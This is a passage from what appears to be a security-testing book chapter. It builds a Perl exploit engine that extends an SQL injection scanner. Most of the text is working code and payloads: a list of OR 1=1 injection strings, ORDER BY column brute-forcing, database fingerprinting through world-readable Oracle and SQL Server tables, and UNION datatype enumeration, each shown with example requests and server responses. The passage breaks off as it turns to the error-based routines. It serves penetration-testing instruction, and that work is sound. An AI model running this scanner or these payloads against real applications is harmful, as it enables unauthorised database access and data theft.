9.2. The Exploit Scanner
The SQL
injection scanner combines the best of both worlds by utilizing both
error-based and blind SQL injection techniques in the exploit engine.
The exploit engine extends the scanner written in the previous
chapter, and it should be called once the scanner detects a potential
SQL injection point.
9.2.1. Exploit Logic
In the
previous chapter we developed a routine
that inserts a single quote into each application parameter and
inspects the associated response to determine if it contains a
database-related error message. Although this routine detects
error-based injection vulnerabilities, the new script will contain a
modified routine that can also detect blind injection points using
various OR 1=1 exploit strings. Once the injection
point is identified, it attempts to craft a more powerful exploit
that can be used to pull arbitrary data out of the database.
A UNION query is the most common way to
leverage SQL injection for arbitrary data retrieval. A successful
UNION exploit must follow certain syntax rules.
Specifically, it must determine how many columns are in the original
SQL query (a UNION query must contain the same
number of columns as the query to which it is being appended). Also,
the exploit must determine the appropriate datatype contained in each
column (datatypes for each column in UNION queries
must be the same). Due to query variations among database servers
(i.e., target tables for sample exploits, datatype conversion
methods, etc.), the exploit engine needs to detect the type of
database server being exploited so that it can adapt the exploit
queries accordingly.
The UNION exploit routine will employ a
combination of blind SQL injection exploit techniques
as well as traditional error-based techniques. The exploit steps and
underlying process we will use to construct a blind
UNION exploit are based on many of the techniques
outlined in the "Blindfolded SQL
Injection" whitepaper written by WebCohort (now
Imperva). Although this approach is effective and reliable for
constructing blind UNION exploits, you cannot
apply it under all circumstances.
Because the blind approach doesn''t work under all
circumstances, we need to default to error-based injection techniques
when the blind approach fails. The error-based approach relies on
specific known database error messages returned by the application,
which means we also need to be familiar with the various error
messages each database server can return under these circumstances.
We will use this approach only when the blind approach fails, because
there is much more room for error or failure if an unexpected error
message gets returned. Figure 9-1 shows an
illustration of the overall exploit logic.
Figure 9-1. Visual representation of exploit logic
9.2.2. The Code
Now that we have provided a general overview of the logic flow that
our exploit engine will implement, we can begin writing some code. As
we mentioned before, we plan to extend the scanner developed in the
previous chapter so that the exploit engine gets invoked when it
detects a potential SQL injection point. We start by making a copy of
simpleScanner.pl and
calling it
extendedScanner.pl.
The first thing we need to do is make some slight modifications to
the existing code. For starters, we need to declare several variables
used for testing before we move into the for loop
on each input request. We do this so that we can reference these
variables from within various subroutines without having to provide
them as inputs to each routine. If you recall, the previous script
declared a few variables and hashes before beginning any testing.
Here are the original declarations:
my ($oRequest,$oResponse, $oStatus, %dirLog, %paramLog);
For the extended scanner, we simply add some variables and arrays to
this list. Instead of explaining what each variable or array is used
for right now, we will explain each one as we use it. For now,
let''s go ahead and modify the preceding line of code
as follows:
my ($oRequest,$oResponse, $oStatus, %dirLog, %paramLog, $paramRequest, $sqlVuln,
$sqlOrVuln, $sqlUnionVuln, $sqlColumnVuln, $sqlDataTypeVuln, $unionExploitRequest,
@dbDataTypeArray, @dtCombinations, $sqlDbType);
Now that we have declared our new variables, let''s move
down to the parameter-based testing logic.
You''ll notice that we have declared the
$paramRequest variable in the preceding code block.
This variable was declared within the for loop on
each input file entry and was not within the scope of our testing
subroutines. For example, when simpleScanner.pl
called its various testing subroutines (such as
sqlTest), it passed the
$paramRequest variable to each subroutine as an
input variable. In the extended scanner, all our testing subroutines
inherently have access to this variable. To compensate for this, we
need to modify the line where $paramRequest was
declared (within the parameter loop) to remove the
my keyword:
$paramRequest = $methodAndFile."?".$testData;
We leave most of the main script routine from
simpleScanner.pl intact, but we need to add some
additional subroutine calls between the existing calls to
sqlTest and xssTest.
For discussion purposes, we provide sample request values to help you
understand tests that the code is generating. You should assume the
value of $paramRequest for all examples is:
GET /news.jsp?id=--PLACEHOLDER--&view=F
You''ll recall that the scanner calls
the sqlTest subroutine to test
for a potential SQL injection point on a per-parameter basis. For
reference, we have provided the original sqlTest
routine here:
sub sqlTest {
my ($sqlRequest, $sqlStatus, $sqlResults, $sqlVulnerable);
($sqlRequest) = @_;
# Replace the "---PLACEHOLDER---" string with our test string
$sqlRequest =~ s/---PLACEHOLDER---/te''st/;
# Make the request and get the response data
($sqlStatus, $sqlResults) = makeRequest($sqlRequest);
# Check to see if the output matches our vulnerability signature.
my $sqlRegEx = qr /(OLE DB|SQL Server|Incorrect
Syntax|ODBC Driver|ORA-|SQL
command not|Oracle Error Code|CFQUERY|My
SQL|Sybase| DB2 |Pervasive|Microsoft
Access|MySQL|CLI Driver|The string constant
beginning with|does not have an
ending string delimiter|JET Database Engine error)/i;
if (($sqlResults =~ $sqlRegEx) &&
($oResponse !~ $sqlRegEx)) {
$sqlVulnerable = 1;
printReport("\n\nALERT: Database Error
Message Detected:\n=> $sqlRequest\n\n");
} else {
$sqlVulnerable = 0;
}
# Return the test result indicator
return $sqlVulnerable;
}
To properly extend the scanner to detect blind SQL injection vulnerabilities, we
must modify the sqlTest routine to detect generic
errors in addition to detailed SQL errors and to leverage the
$paramRequest variable that is now within scope for
this subroutine. Let''s go ahead and walk through the
modified sqlTest routine from the top:
sub sqlTest {
my ($sqlRequest, $sqlStatus, $sqlResults, $sqlVulnerable)
$sqlRequest = $paramRequest;
As you can see here, we still declare the same list of local
variables and we have removed the reference to the input variable. To
compensate for this, we assign $paramRequest to
$sqlRequest so that subsequent routines can still
access the unmodified $paramRequest variable.
Next, we continue to build and make the test request just as we did
before:
# Replace the "---PLACEHOLDER---" string with our test string
$sqlRequest =~ s/---PLACEHOLDER---/te''st/;
# Make the request and get the response data
($sqlStatus, $sqlResults) = makeRequest($sqlRequest);
Now that we have made the request, we
must determine whether it has invoked an error. Things happen a bit
differently here than before because now we need to detect subtler
errors. To do this, first we must decide what we consider to be a
"potential" SQL injection point.
For starters, we know that the same error messages we were previously
checking for are also the best indication of a potential SQL
injection point. In addition to these
"standard" database errors, we also
want to detect the presence of more
"generic" error conditions that
could indicate a potential SQL injection point. These generic errors
can come in various forms:
A server response code of 500 (Server Error)
A generic error message such as "Unable to Process
Request" or "An Error Has
Occurred" in the response content
A very short or empty response (such as a zero-length response)
If we invoke a generic error we still need to do more testing to
determine whether it actually is an injection point, so the goal of
sqlTest is only to identify a potential SQL
injection point, not to confirm it.
For our examples, assume the application server is configured to
suppress all unhandled error message details and to return a standard
"500Internal Server Error"
message.
To allow for more generic error identification, all we do in this
subroutine is flag the potential vulnerability, classify it based on
the suspicious attribute we observe, and continue additional testing:
# Check to see
if the output matches our vulnerability signatures.
if (($sqlResults =~ $sqlRegEx) &&
($oResponse !~ $sqlRegEx)) {
$sqlVulnerable = 1;
printReport("\n\nALERT: Database Error
Message Detected:\n=> $sqlRequest\n\n");
} elsif (($sqlStatus =~ /^500/) &&
($oStatus !~ /^500/)) {
$sqlVulnerable = 2;
printReport("\n\nALERT: 500 Error Code
Detected:\n=> $sqlRequest\n\n");
} elsif (($sqlResults =~ /error|unable to|cannot/i)
&& ($oResponse !~ /error|unable to/i)) {
$sqlVulnerable = 3;
printReport("\n\nALERT: Generic Error
Message Detected:\n=> $sqlRequest\n\n");
} elsif (length($sqlResults) < 100 &&
length($oResponse) > 100) {
$sqlVulnerable = 4;
printReport("\n\nALERT: Small Response
Detected:\n=> $sqlRequest\n\n");
} else {
$sqlVulnerable = 0;
}
As you can see here, we use the $sqlVulnerable
variable (declared at the top of our script) to identify whether one
of four possible error attributes was
observed in the response. Table 9-1 provides a
listing of each error attribute and its associated value
($sqlVulnerable).
$sqlVulnerable | Error classification | Classification criteria |
---|---|---|
1 | Detailed database error | Database error message detected in the test response, but not in the original page response. |
2 | 500 server error | 500 status code returned in the test response, but not in the original page response. |
3 | Generic error message | Generic error message (string including unable to, error, or cannot) returned in the test response, but not in the original page response. |
4 | Small (length) response | Test response was 100 characters or less in length, and the original page response was greater than 100 characters in length. |
0 | No error | None of the error classification criteria were met. |
The $sqlVulnerable value is referenced by
virtually all the other SQL exploit routines in subsequent testing.
If no error attribute is observed, the variable is set to
0. In either case, the value is returned and we
close the subroutine:
# Return the test result indicator
return $sqlVulnerable;
}
At this point during execution, we return to the main script body to
perform additional parameter-based tests.
The value returned by sqlTest in our example (and
now assigned to $sqlVuln) is 2.
Because we are creating some new exploit routines, we need to add
some logic to our main script body after the
sqlTest routine finishes . Specifically, we
check the value returned by sqlTest to determine
if we should perform additional injection testing or simply continue
with the remaining parameter-based tests. Recall that
simpleScanner.pl made two consecutive
parameter-based tests, one for SQL injection
(sqlTest) and one for XSS
(xssTest). The original parameter-based testing
calls are shown here:
## Perform input validation tests
my $sqlVuln = sqlTest($paramRequest);
my $xssVuln = xssTest($paramRequest);
For our extended scanner, we need to include some additional logic
between the two parameter testing subroutine calls. Because we
modified sqlTest to not accept an input variable
(as $paramRequest is now within scope for the
subroutine), we modify the call to not pass an input variable:
## Perform input validation tests
my $sqlVuln = &sqlTest;
The next step is to include some logic to check the value of
$sqlVuln to determine whether additional injection
testing needs to be performed. If the value of this variable is not
0, we call the first of our new exploit-related
subroutines (sqlOrTest):
if ($sqlVuln != 0) {
$sqlOrVuln = &sqlOrTest;
The purpose of the sqlOrTest subroutine is to
attempt a very simple exploit to confirm the
"exploitability" of the injection
point we identified.
9.2.2.1 sqlOrTest subroutine
We
mentioned before that one of the
simplest data read exploits appends OR
1=1 to the end of the original query to
alter the WHERE criteria used by the query. For
example, consider the following vulnerable code:
Sql = "SELECT CAT_ID, CAT_NAME FROM CATEGORIES WHERE CATID_ID=
(SELECT CAT_ID FROM NEWS WHERE
NEWS.NEWS_ID=''" + request.getQueryString("id") + "'')
AND NEWS.ACTIVE=''Y''"
The id request parameter is inserted within the
query to return specific records based on the parameter value. The
following request, when made by our web scanner, invokes an error
that our scanner should recognize:
Request: http://www.myserver.com/news.jsp?id=te''st&view=F
If the application server is configured to return detailed error
messages, the error should be recognized by
sqlTest and the $sqlVuln
variable is assigned a value of 1. If the
application server is configured to suppress detailed error messages,
or if the application is coded to handle errors gracefully, hopefully
one of our generic error criteria is met and the
$sqlVuln variable is assigned a value of
2, 3, or 4.
The goal of the sqlOrTest routine is to make an
exploit request that results in the absence of the error condition
originally detected by sqlTest. Consider the
following request to the page in the previous example:
Request: http://www.myserver.com/news.jsp?id=1'')%20OR%20 (''1''=''1&view=F
Resulting Query: SELECT CAT_ID, CAT_NAME FROM CATEGORIES WHERE CAT_ID=
(SELECT CAT_ID FROM NEWS WHERE
NEWS_ID=''1'') OR (''1''=''1'') AND ACTIVE=''Y''
This request would result in the execution of a well-formed query
against the application database. Because the query is well-formed,
we would expect it to run successfully and not result in any type of
error. Depending on how the page logic is constructed, it could
display all the news stories contained within the table (because
several records are likely to be returned by the query) or it might
return only the first record contained in the dataset (if the page is
expecting only a single record, it most likely would not loop through
the entire dataset). The important point here is that in either case,
the query runs successfully and does not result in an application
error.
To automate an exploit for the preceding scenario, our exploit engine
inserts several different OR 1=1 test strings in
an attempt to make the application execute a well-formed query. The
script knows whether the exploit was successful, because the response
generated by a successful exploit request should not contain an
error. Note that the previously shown exploit string does not include
a trailing single quote after the last 1 because
the application appends a single quote onto the end of the original
query (along with some additional WHERE criteria).
Although this exploit string creates a well-formed query, we should
also keep in mind that many database servers support the
double-hyphen (--) comment marker, which can also
be appended to the end of an injection exploit string. As we
mentioned before, utilizing the double hyphen allows for greater
flexibility in developing a working exploit because any trailing SQL
code appended by the application after our injected data is
effectively ignored. For instance, consider the same example from
before, but with the following request:
Request: http://www.myserver.com/news.jsp?id=1'')%20OR%20''1''=''1''--&view=F
Resulting Query: SELECT CAT_ID, CAT_NAME FROM CATEGORIES WHERE CAT_ID=
(SELECT CAT_ID FROM NEWS WHERE
NEWS_ID='' 1'')%20OR%20''1''=''1''--'') AND ACTIVE=''Y''
This query would also run successfully, provided that the database
server supports the double-hyphen comment marker. Because of this, we
are sure to include several test strings in our OR
1=1 list that utilize the double hyphen at the end of the
exploit string. Due to the relative simplicity of the OR
1=1 exploits, the exploit routines are not in any way
database-specific and can be executed against almost any standard
SQL-driven database.
For the purposes of our discussion, we use the SQL query and request
from the previous example as a reference for providing sample values
as though the script were executing. The value of
$paramRequest in our examples is:
GET /news.jsp?id=--PLACEHOLDER--&view=F
Our sqlOrTest routine starts by declaring an array
of potential exploit strings to insert into the vulnerable parameter:
sub sqlOrTest {
my @sqlOrArray=(
"1%20OR%20''1''%3D''1''--",
"1''%20OR%201%3D1--",
"1\)%20OR%20''1''%3D''1''--",
"1''\)%20OR%201%3D1--",
"1\)\)%20OR%20''1''%3D''1''--",
"1''\)\)%20OR%201%3D1--",
"1\)\)\)%20OR%20''1''%3D''1''--",
"1''\)\)\)%20OR%201%3D1--",
"%20OR%20''1''%3D''1''--",
"''%20OR%201%3D1--",
"1''%20OR%20''1''%3D''1",
"1''%20OR%201%3D1",
"1%20OR%20''1''%3D''1''",
"1''\)%20OR%20\(''1''%3D''1",
"1''\)%20OR%20\(1%3D1",
"1\)%20OR%20\(''1''%3D''1''",
"1''\)\)%20OR%20\(\(''1''%3D''1",
"1''\)\)%20OR%20\(\(1%3D1",
"1\)\)%20OROR%20\(\(''1''%3D''1''",
"1''\)\)\)%20OR%20\(\(\(''1''%3D''1",
"1''\)\)\)%20OR%20\(\(\(1%3D1",
"1\)\)\)%20OR%20\(\(\(''1''%3D''1''"
);
As you can see, there are several potential exploit strings. The
first several strings in the array utilize the double hyphen because
we prefer to use one of these strings for maximum flexibility. The
second half of these exploit strings is designed to make a
well-formed query without using the double hyphen by attempting to
incorporate additional SQL code appended to the injected value.
Next, we declare the $sqlOrSuccess variable with a
value of false. This variable will eventually
contain one of our test strings if we detect that the test string has
resulted in a successful exploit. As we loop through the array of
test strings, we replace the vulnerable parameter with the test
string value and make the test request. Note that we perform the test
request only if the $sqlOrSuccess variable is
still set to false:
my $sqlOrSuccess = "false";
foreach my $sqlOr (@sqlOrArray) {
if ($sqlOrSuccess eq "false") {
# Replace the "---PLACEHOLDER---" string with our test string
my $sqlOrTest = $paramRequest;
$sqlOrTest =~ s/---PLACEHOLDER---/$sqlOr/;
# Make the request and get the response data
my ($sqlOrStatus, $sqlOrResults) = makeRequest($sqlOrTest);
Once we make each test request, we check to see if the response
contained the error condition detected by the
sqlTest subroutine. For cases in which the value
is 1, we are already fairly certain that a
potential SQL injection vulnerability exists. As such, this
subroutine serves primarily to confirm the
exposure''s exploitability. For cases in which the
value is 2, 3, or
4, we are still uncertain as to the exact nature
of the error because we do not have any indication that the
vulnerability is in fact due to an SQL error. In these cases, this
subroutine is critical for confirming that the error is in fact an
SQL injection point:
if (($sqlOrResults !~ $sqlRegEx && $sqlVuln == 1) ||
($sqlOrStatus !~ /^500/ && $sqlVuln == 2) ||
($sqlOrResults !~ /error|unable to|cannot
/i && $sqlVuln == 3) || (length($sqlOrResults) > 100 && $sqlVuln == 4)) {
$sqlOrSuccess = $sqlOr;
printReport("\n\nALERT: Possible SQL Injection Exploit:\n=> $sqlOrTest\n\n");
}
If the exploit appears to have succeeded (the error condition is
absent), we assign the successful test string to the
$sqlOrSuccess variable and print a message to the
user. Subsequent exploit tests within this subroutine are not
performed now that the $sqlOrSuccess variable is
no longer set to false. Finally, we close the
if statement and for loops and
return the $sqlOrSuccess variable:
}
}
return $sqlOrSuccess;
}
Table 9-2 lists the test requests made by this
subroutine for our example.
Test request | Response |
---|---|
GET /news.jsp?id=1%20OR%20''1''%3D''1''--&view=F | 500 Server Error |
GET /news.jsp?id=1''%20OR%201%3D1--&view=F | 500 Server Error |
GET /news.jsp?id=1)%20OR%20''1''%3D''1''--&view=F | 500 Server Error |
GET /news.jsp?id=1'')%20OR%201%3D1--&view=F | 200 OK |
Now that the sqlOrTest subroutine is complete, we
move back up to the main script body and continue execution. At this
point in our main script body, we must determine whether the
sqlOrTest routine was successful. We know from
looking at the subroutine code that the value returned contains a
test string if the subroutine was successful; otherwise, it returns
the word false. Our next step is to check the
value of $sqlOrVuln and continue performing SQL
testing if it is not equal to false:
if ($sqlOrVuln ne "false") {
If the value is equal to false, we skip the
remaining SQL tests and continue with the next parameter-based test
routine (XSS in this case). Otherwise, we perform additional SQL
injection-related exploit tests.
For our example, the value of $sqlOrVuln is:
1'')%20OR%201%3D1--
Now we must decide whether to initiate the blind SQL injection
exploit routines or skip directly to the error-based routines. As we
mentioned during our logic overview, the methodology used by our
blind routines will be effective only when the exploit string
utilizes the double-hyphen (--) comment marker. If
the $sqlOrVuln variable ends with the
-- character sequence, we call the first of two
blind injection routines (sqlBlindColumnTest):
if ($sqlOrVuln =~ /--$/) {
$sqlColumnVuln = &sqlBlindColumnTest;
The purpose of the first blind testing routine is to brute-force the
number of columns in the original SQL query so that we can exploit
the vulnerability with a UNION query. Because this
routine is called for both blind and error-based injection points, it
cannot rely on any database-specific error messages. This routine
simply takes the exploit string used by sqlOrTest
(currently assigned to $sqlOrVuln) and appends the
ORDER BY keyword followed by a
column number (incrementing from 1 to a predetermined upper limit) to
determine the number of columns in the SQL query. Provided that we
are specifying a valid column number, the error condition detected by
sqlTest should not be present. As we increment the
ORDER BY value, we know when we
exceed the number of columns in the SQL query because the error
condition detected by sqlTest returns. This error
is due to an invalid column position specified in the
query''s ORDER BY
clause.
9.2.2.2 sqlBlindColumnTest subroutine
We start this subroutine by declaring two
variables. The first ($sqlBlindNumCols) is the
column counter we increment during testing. The second
($sqlBlindColumnSuccess) is the variable we use to
track whether the routine is successful in determining the correct
number of query columns. Just as we did in the
sqlOrTest routine, we initially set this value to
false, and we assign the number of columns in the
query to this variable only when we detect that the column number
enumeration has been successful:
sub sqlBlindColumnTest {
my $sqlBlindNumCols = 1;
my $sqlBlindColumnSuccess = "false";
Next, we start our testing loop. For each loop iteration, we
construct the same request used in the successful
OR 1=1 test, but we remove
everything after the word OR and replace it with
the ORDER BY keyword, followed
by the value of $sqlBlindNumCols. We do this to
preserve the character sequence necessary to properly close off the
original query (''1) in our example) to make the
query well-formed:
do {
my $sqlBlindColumnString = $sqlOrVuln;
my $sqlBlindColumnTest = $paramRequest;
$sqlBlindColumnString =~ s/%20OR%20.*--/%20ORDER%20BY%20$sqlBlindNumCols--/;
$sqlBlindColumnTest =~ s/---PLACEHOLDER---/$sqlBlindColumnString/;
Then we make the test request and inspect the response to determine
if the error condition detected by sqlOrTest is
present (again, based on the value of the $sqlVuln
variable):
# Make the request and get the response data
my ($sqlBlindColumnStatus, $sqlBlindColumnResults)
= makeRequest($sqlBlindColumnTest);
if (($sqlBlindColumnResults =~ $sqlRegEx && $sqlVuln == 1)
|| ($sqlBlindColumnStatus =~ /^500/ && $sqlVuln == 2) ||
($sqlBlindColumnResults =~ /error|unable to/i && $sqlVuln == 3) ||
(length($sqlBlindColumnResults) < 100 && $sqlVuln == 4)) {
$sqlBlindColumnSuccess = $sqlBlindColumnTest;
} else {
$sqlBlindNumCols++;
}
} until (($sqlBlindColumnSuccess ne "false") || ($sqlBlindNumCols > 200));
As you can see, if we detect that an error has occurred, we know we
have exceeded the column count in the original query. We assign the
current test request to the $sqlBlindColumnSuccess
variable to end the loop; otherwise, we increment the counter
variable and continue. Note that the loop is performed until either
the $sqlBlindColumnSuccess variable is not equal
to false (indicating success) or the counter
variable ($sqlBlindNumCols) exceeds
200. We use 200 as our maximum column limit
because we do not want this test routine to continue indefinitely if
the routine ultimately does not detect an error. Table 9-3 lists the requests made by this subroutine in
our example.
Test request | Response |
---|---|
GET /news.jsp?id=1'')%20ORDER%20BY%201--&view=F | 200 OK |
GET /news.jsp?id=1'')%20ORDER%20BY%202--&view=F | 200 OK |
GET /news.jsp?id=1'')%20ORDER%20BY%203--&view=F | 500 Server Error |
Once our loop completes, we check to see that the
$sqlBlindColumnSuccess variable is no longer set
to false, and that the column counter is greater
than 2. If so, we return the number of columns in
the query (which is actually one less than the current column counter
value); otherwise, we return 0, indicating that
the routine was not successful. The reason for the second check
($sqlBlindNumCols >
2) is that because we know the query must have at
least one column, the ORDER BY
1 test request should never result in an error. If
it does, there''s likely a problem with our exploit
syntax, so we consider it a false positive and return a failed status
(0):
if (($sqlBlindColumnSuccess ne "false") && ($sqlBlindNumCols > 2)) {
return $sqlBlindNumCols-1;
} else {
return 0;
}
}
Once we have determined the correct number of columns in the original
query, we must determine the correct datatype for each column in the
query.
For our example, the value of $sqlColumnVuln is
now 2.
Moving back to the main script body, we need to check that the
previous subroutine was successful (based on the
$sqlColumnVuln variable). If it
wasn''t, we move on to the error-based
UNION routines to make a second attempt at column
number enumeration (more on that in a few minutes). If the previous
subroutine was successful (if the $sqlColumnVuln
variable was not set to 0), we call the second of
our two blind UNION routines
(sqlBlindDataTypeTest):
if ($sqlColumnVuln != 0) {
$sqlDataTypeVuln = &sqlBlindDataTypeTest;
Up to this point, none of our test routines has been
database-specific. In other words, all the tests we have performed
should work in the same way, regardless of whether the database was a
Microsoft SQL Server or an Oracle database server. For the next test
routine, we must detect the type of database server we are exploiting
to adjust our test requests accordingly. Specifically, we need two
pieces of information for each database server we want to test:
A default "world-readable" table
name to attempt to query
A list of common datatypes (and associated conversion functions)
We already decided we would support both Oracle and Microsoft SQL
Server for our extended scanner. As such, these are the only two
databases for which we need this information. We define a hash
containing the database-specific data at the top of our script in the
same place where we declared our initial variables a while back. Keep
in mind that we might not need to include every datatype the server
supports because many of them are not commonly used and some
datatypes can automatically convert to others. For Oracle, we use the
CHAR, NUMBER, and
DATE datatypes, and the
ALL_TABLES table as our default world-readable
table. For Microsoft SQL Server, we use the
VARCHAR and INT datatypes
(Microsoft SQL Server is much more lenient with respect to auto
conversion of datatypes than Oracle), and the
MASTER..SYSDATABASES table as our default
world-readable table. The hash defined at the top of our script
should look something like the following:
my %databaseInfo;
# MS-SQL
$databaseInfo{mssql}{tableName} = "MASTER\.\.SYSDATABASES";
$databaseInfo{mssql}{dataTypes} = ["CONVERT(VARCHAR,1)","CONVERT(INT,1)"];
# Oracle
$databaseInfo{oracle}{tableName} = "ALL_TABLES";
$databaseInfo{oracle}{dataTypes} = ["TO_CHAR(1)","
TO_NUMBER(1)","TO_DATE(''01'',''MM'')"];
The goal here is to construct a well-formed UNION
query to the specified table name and to have explicit datatypes in
each column position. We won''t bother querying the
actual field names in each database, because we can plug the
converted datatype string into the column position as a literal value
and have the query execute properly. Now that we have our
database-specific information in the hash, we can go ahead and start
coding the next subroutine.
9.2.2.3 sqlBlindDataTypeTest subroutine
We mentioned before that the first thing this
subroutine attempts to do is to detect the type of database we are
exploiting.
For the purposes of our example, the database server we are currently
exploiting is Oracle 9i.
The $sqlDbType variable was declared along with
several other variables at the beginning of our script. We assign
this variable a value of unknown and once (if )
the database server is detected, we populate it with the database
server type. To detect the database, we loop through each key in the
%databaseInfo hash (essentially a list of the
database servers we are supporting) and attempt to make a query to
the world-readable table defined for that database:
sub sqlBlindDataTypeTest {
$sqlDbType = "unknown";
foreach my $databaseName (keys %databaseInfo) {
my $sqlBlindDbDetectTest = $paramRequest;
my $sqlBlindDbDetectString = $sqlOrVuln;
Because we already know the number of columns in the query, we build
the UNION query with
"null" values in each column
position instead of actual field names or literal strings. It should
be noted that most versions of Microsoft SQL Server, and only Oracle
versions 9 and above, support null values. The null values are really
just placeholders that will be replaced with converted datatype
strings later on. Just as we did with the ORDER BY
queries, we use the successful OR 1=1 exploit
string to determine the proper SQL code that needs to preface the
UNION query (note that again we replace everything
after the word OR):
my $sqlBlindDbDetectUnion = "%20UNION%20ALL%20SELECT%20null".",null" x
($sqlColumnVuln-1)."%20FROM%20$databaseInfo
{$databaseName}{tableName}--";
$sqlBlindDbDetectString =~ s/%20OR%20.*--/$sqlBlindDbDetectUnion/;
$sqlBlindDbDetectTest =~ s/---PLACEHOLDER---/$sqlBlindDbDetectString/;
We assume that only one of these queries can run successfully because
the default table we are using for each database should not exist
unless it is the specific database server we are attempting to
identify. After each request, we check to see if it resulted in the
appropriate error condition based on the $sqlVuln
variable value. If the error is not present, we assign the current
hash key value (the $databaseName variable) to the
$sqlDbType variable:
my ($sqlBlindDbDetectStatus, $sqlBlindDbDetectResults) =
makeRequest($sqlBlindDbDetectTest);
if (($sqlBlindDbDetectResults !~ $sqlRegEx && $sqlVuln == 1) ||
($sqlBlindDbDetectStatus !~ /^500/ && $sqlVuln == 2) ||
($sqlBlindDbDetectResults !~ /error|unable to/i && $sqlVuln == 3) ||
(length($sqlBlindDbDetectResults) > 100 && $sqlVuln == 4)) {
$sqlDbType = $databaseName;
}
}
At this point the database should be successfully identified and the
name of the appropriate database server should be assigned to the
$sqlDbType variable. Table 9-4
lists requests this subroutine has made thus far.
Test request | Response |
---|---|
GET /news.jsp?id=1'')%20UNION%20SELECT%20null,null %20FROM%20MASTER..SYSDATABASES--&view=F | 500 Server Error |
GET /news.jsp?id=1'')%20UNION%20SELECT%20null,null %20FROM%20ALL_TABLES--&view=F | 200 OK |
Now that we have attempted to identify the database server, we will
attempt to determine the proper datatypes for each column in the
query.
For the purposes of our example, the first column in the original
query is of the Oracle NUMBER datatype, and the
second column in the query is of the Oracle
VARCHAR datatype.
We assign the $sqlBlindDataTypeSuccess variable
(declared at the top of our script) a value of
false before starting the datatype enumeration
routine. Like our last two subroutines, this is the value that
ultimately will be used to determine the routine''s
success or failure. We change its value only once our datatype
enumeration is successful for all query columns. Before we begin
blind datatype testing, we need to make sure the database server has
been identified. If it hasn''t, we cannot continue
testing with this routine because we do not have a valid table name
to use in the UNION query (we will get an error on
every exploit attempt, so our testing will not be successful):
my $sqlBlindDataTypeSuccess = "false";
if ($sqlDbType ne "unknown") {
Provided we have successfully detected our database server, we
declare a column position counter to move through each column
position in the query, one at a time (starting with the first and
moving to the right). We also declare an array containing a value for
each column in the query and initially assign each a value of
null:
my $sqlBlindColumnPos = 0;
my @columns = ( );
for ($sqlBlindColumnPos = 0; $sqlBlindColumnPos <
$sqlColumnVuln; $sqlBlindColumnPos++) {
$columns[$sqlBlindColumnPos] = "null";
}
Next, we declare a second counter variable to track which datatypes
we tested for each column position. Recall that we created an array
within the %databaseInfo hash that contains the
datatype conversion strings used to test each datatype. We are
tracking the positions within this array with the second counter
variable ($sqlBlindDataTypePos). This value starts
over at 0 as we begin testing each column
position:
my $sqlBlindDataTypePos = 0;
Now we are ready to start our datatype testing loops. One by one, we
iterate through each column position (left to right) in our query,
and for each position we perform another loop through the datatype
array (each datatype conversion string) until we issue a request that
does not generate an error. Again, we use the same substitution
technique we used to build the database detection request:
do {
$columns[$sqlBlindColumnPos] = $databaseInfo{$sqlDbType}{dataTypes}
[$sqlBlindDataTypePos];
my $dataTypeCombo = join(",",@columns);
my $sqlBlindDataTypeTest = $paramRequest;
my $sqlBlindDataTypeString = $sqlOrVuln;
my $sqlBlindDataTypeUnion = "%20UNION%20ALL%20SELECT%20$dataTypeCombo
%20FROM%20$databaseInfo{$sqlDbType}{tableName}--";
$sqlBlindDataTypeString =~ s/%20OR%20.*--/$sqlBlindDataTypeUnion/;
$sqlBlindDataTypeTest =~ s/---PLACEHOLDER---/$sqlBlindDataTypeString/;
my ($sqlBlindDataTypeStatus, $sqlBlindDataTypeResults) =
makeRequest($sqlBlindDataTypeTest);
After each request, we declare the
$dataTypeFieldSuccess variable with a value of
0 and inspect the response to see if it contains
the appropriate error (based on the value of the
$sqlVuln variable). If an error is present, we set
the $dataTypeFieldSuccess variable to
1; otherwise it remains at 0:
my $dataTypeFieldSuccess = 0;
if (($sqlBlindDataTypeResults !~ $sqlRegEx && $sqlVuln == 1) ||
($sqlBlindDataTypeStatus !~ /^500/ && $sqlVuln == 2) ||
($sqlBlindDataTypeResults !~ /error|unable to/i && $sqlVuln == 3)
|| (length($sqlBlindDataTypeResults) > 100 && $sqlVuln == 4)) {
$dataTypeFieldSuccess = 1;
}
If the $dataTypeFieldSuccess variable is equal to
1, we have identified the correct datatype for the
current column position, so we increment the column position counter
($sqlBlindColumnPos) and reset the datatype array
counter ($sqlBlindDataTypePos) to
0:
if ($dataTypeFieldSuccess == 1) {
$sqlBlindColumnPos++;
$sqlBlindDataTypePos = 0;
At this point, we also check to see if our column counter
($sqlBlindColumnPos) is equal to the number of
columns in the UNION query. If it is, we are
finished detecting the datatype on each column; otherwise, we must
continue to the next column. Note that we compared the
$sqlBlindColumnPos and
$sqlColumnVuln variables after we incremented
$sqlBlindColumnPos by 1.
Because the $sqlBlindColumnPos variable is
monitoring array positions (which start at 0), it
is actually always one less than the true column number it is testing
(column number one is in array position zero, etc.):
if ($sqlBlindColumnPos == $sqlColumnVuln) {
$sqlBlindDataTypeSuccess = "true";
printReport("\n\nALERT: Possible SQL
Injection Exploit:\n=> $sqlBlindDataTypeTest\n\n");
}
If $dataTypeFieldSuccess is not equal to
1, we must increment the datatype position counter
($sqlBlindDataTypePos) and test the same column
again using the next datatype in the array:
} else {
$sqlBlindDataTypePos++;
if ($sqlBlindDataTypePos > $#{$databaseInfo{$sqlDbType}{dataTypes}}) {
$sqlBlindDataTypeSuccess = "error";
}
}
Also note here that we check to make sure the datatype position
counter is not greater than the total number of members in the
datatype array itself
($#{$databaseInfo{$sqlDbType}{dataTypes}}). If it
is, we have tested every datatype in the array for this column
without success, so we assign a value of error to
the $sqlBlindDataTypeSuccess variable, which
causes the loop to end immediately.
The loop continues to run until the
$sqlBlindDataTypeSuccess variable is not equal to
false (essentially until it is set to either
true or error). After the loop
exits, we return the $sqlBlindDataTypeSuccess
value and close the subroutine:
} until ($sqlBlindDataTypeSuccess ne "false");
}
return $sqlBlindDataTypeSuccess;
}
Table 9-5 lists the example test requests our
scanner made during the blind datatype enumeration phase of this
routine.
Test request | Response |
---|---|
GET /news.jsp?id=1'')%20UNION%20SELECT%20 TO_CHAR(1),null %20FROM%20ALL_TABLES--&view=F | 500 Server Error |
GET /news.jsp?id=1'')%20UNION%20SELECT%20 TO_NUMBER(1),null%20FROM%20ALL_TABLES--&view=F | 200 OK |
GET /news.jsp?id=1'')%20UNION%20SELECT%20 TO_NUMBER(1), TO_CHAR(1)%20FROM%20 ALL_TABLES--&view=F | 200 OK |
Now that all our blind testing is finished, we will shift
gears to the error-based testing routines. Moving
back to the main script body, we close out the two open
